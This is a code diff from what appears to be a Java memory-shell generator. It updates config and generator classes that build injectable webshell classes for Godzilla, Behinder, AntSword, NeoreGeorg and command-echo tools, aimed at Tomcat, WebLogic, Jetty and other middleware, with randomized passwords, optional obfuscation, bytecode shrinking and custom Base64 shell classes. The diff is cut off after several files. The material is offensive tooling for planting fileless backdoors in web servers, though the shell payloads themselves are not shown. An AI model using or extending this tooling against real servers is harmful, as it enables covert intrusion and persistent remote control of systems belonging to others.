@@ -15,7 +15,7 @@ import lombok.experimental.SuperBuilder;
@ToString
public class AntSwordConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
private String pass = CommonUtil.getRandomString(8);
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
@@ -15,7 +15,7 @@ import lombok.experimental.SuperBuilder;
@ToString
public class BehinderConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
private String pass = CommonUtil.getRandomString(8);
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.Builder;
import lombok.Getter;
import lombok.ToString;
@@ -14,5 +15,19 @@ import lombok.experimental.SuperBuilder;
@ToString
public class CommandConfig extends ShellToolConfig {
@Builder.Default
private String paramName = "cmd";
private String paramName = CommonUtil.getRandomString(8);
@Builder.Default
private Encryptor encryptor = Encryptor.RAW;
public enum Encryptor {
RAW, DOUBLE_BASE64;
public static Encryptor fromString(String encryptor) {
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
return DOUBLE_BASE64;
}
return RAW;
}
}
}
@@ -1,25 +0,0 @@
package com.reajason.javaweb.memshell.config;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
* @since 2024/11/28
*/
public class Constants {
public static final int DEFAULT_VERSION = Opcodes.V1_6;
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
public static final String FILTER = "Filter";
public static final String JAKARTA_FILTER = "JakartaFilter";
public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener";
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
public static final String AGENT = "Agent";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
}
@@ -0,0 +1,20 @@
package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/2/12
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class CustomConfig extends ShellToolConfig {
private String shellClassBase64;
}
@@ -4,7 +4,9 @@ import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
import java.util.Map;
/**
* @author ReaJason
@@ -21,6 +23,7 @@ public class GenerateResult {
private String shellBytesBase64Str;
private String injectorClassName;
private transient byte[] injectorBytes;
private transient Map<String, byte[]> injectorInnerClassBytes;
private long injectorSize;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
@@ -30,15 +33,15 @@ public class GenerateResult {
public static class GenerateResultBuilder {
public GenerateResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
shellSize = shellBytes.length;
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
injectorSize = injectorBytes.length;
}
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
}
}
@@ -15,9 +15,9 @@ import lombok.experimental.SuperBuilder;
@ToString
public class GodzillaConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
private String pass = CommonUtil.getRandomString(8);
@Builder.Default
private String key = "key";
private String key = CommonUtil.getRandomString(8);
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
@@ -0,0 +1,21 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/2/28
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class NeoreGeorgConfig extends ShellToolConfig {
@Builder.Default
private String headerName = "Referer";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -1,96 +0,0 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.*;
import lombok.Getter;
/**
* @author ReaJason
* @since 2024/11/22
*/
@Getter
public enum Server {
/**
* Tomcat 中间件
*/
Tomcat(new TomcatShell()),
/**
* Jetty 中间件
*/
Jetty(new JettyShell()),
/**
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
*/
JBossAS(new JbossShell()),
JBossEAP6(new JbossShell()),
/**
* Undertow对应是 Wildfly 以及 JBoss EAP也有可能是 SpringBoot 用的
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
*/
Undertow(new UndertowShell()),
JBossEAP7(new UndertowShell()),
WildFly(new UndertowShell()),
/**
* SpringMVC 框架
*/
SpringWebMvc(new SpringWebMvcShell()),
/**
* Spring WebFlux 框架
*/
SpringWebFlux(new SpringWebFluxShell()),
/**
* WebSphere 中间件
*/
WebSphere(new WebSphereShell()),
/**
* WebLogic 中间件
*/
WebLogic(new WebLogicShell()),
/**
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
*/
Resin(new ResinShell()),
/**
* GlassFish 中间件
*/
GlassFish(new GlassFishShell()),
Payara(new GlassFishShell()),
/**
* 宝兰德中间件
*/
BES(new BesShell()),
/**
* 东方通中间件
*/
TongWeb6(new TongWeb6Shell()),
TongWeb7(new TongWeb7Shell()),
/**
* 金蝶天燕中间件
*/
Apusic(new ApusicShell()),
/**
* 中创中间件
*/
InforSuite(new InforSuiteShell()),
/**
* XXL-JOB
*/
XXLJOB(new XxlJobShell())
;
private final AbstractShell shell;
Server(AbstractShell shell) {
this.shell = shell;
}
}
@@ -1,5 +1,7 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
@@ -35,7 +37,7 @@ public class ShellConfig {
* 生成类的目标 JRE 版本
*/
@Builder.Default
private int targetJreVersion = Constants.DEFAULT_VERSION;
private int targetJreVersion = Opcodes.V1_6;
/**
* 是否需要移除模块限制
@@ -43,18 +45,18 @@ public class ShellConfig {
@Builder.Default
private boolean byPassJavaModule = false;
/**
* 是否开启混淆
*/
@Builder.Default
private boolean obfuscate = false;
/**
* 是否开启调试
*/
@Builder.Default
private boolean debug = false;
/**
* 是否启用缩小字节码
*/
@Builder.Default
private boolean shrink = false;
public boolean isDebugOff() {
return !debug;
}
@@ -1,32 +0,0 @@
package com.reajason.javaweb.memshell.config;
/**
* @author ReaJason
* @since 2024/11/22
*/
public enum ShellTool {
/**
* 哥斯拉
*/
Godzilla,
/**
* 命令回显
*/
Command,
/**
* 冰蝎
*/
Behinder,
/**
* Suo5 隧道代理
*/
Suo5,
/**
* 蚁剑
*/
AntSword,
}
@@ -1,8 +1,6 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
@@ -1,17 +1,18 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.AntSwordConfig;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.StringUtils;
import java.util.Map;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -48,13 +49,13 @@ public class AntSwordGenerator {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(Map.of(
"pass", antSwordConfig.getPass(),
"headerName", antSwordConfig.getHeaderName(),
"headerValue", antSwordConfig.getHeaderValue()
))
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("pass", antSwordConfig.getPass());
put("headerName", antSwordConfig.getHeaderName());
put("headerValue", antSwordConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
@@ -67,7 +68,7 @@ public class AntSwordGenerator {
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -1,18 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.DigestUtils;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import java.util.Map;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -51,13 +52,13 @@ public class BehinderGenerator {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(Map.of(
"pass", md5Key,
"headerName", behinderConfig.getHeaderName(),
"headerValue", behinderConfig.getHeaderValue()
))
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("pass", md5Key);
put("headerName", behinderConfig.getHeaderName());
put("headerValue", behinderConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(md5Key)
@@ -70,7 +71,7 @@ public class BehinderGenerator {
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -1,51 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import java.util.Map;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandGenerator {
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
if (shellConfig.getShellClass() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getShellClass())
.name(shellConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()));
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (config.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (config.getShellType().startsWith(Constants.AGENT)) {
builder = builder.visit(new LdcReAssignVisitorWrapper(Map.of("paramName", shellConfig.getParamName())));
} else {
builder = builder.field(named("paramName")).value(shellConfig.getParamName());
}
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -0,0 +1,36 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import org.apache.commons.lang3.StringUtils;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/3/18
*/
public class CustomShellGenerator {
private final ShellConfig shellConfig;
private final CustomConfig customConfig;
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
this.shellConfig = shellConfig;
this.customConfig = customConfig;
}
public byte[] getBytes() {
String shellClassBase64 = customConfig.getShellClassBase64();
if (StringUtils.isBlank(shellClassBase64)) {
throw new IllegalArgumentException("Custom shell class is empty");
}
byte[] bytes = ClassRenameUtils.renameClass(Base64.getDecoder().decode(shellClassBase64), customConfig.getShellClassName());
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
}
}

Some files were not shown because too many files have changed in this diff Show More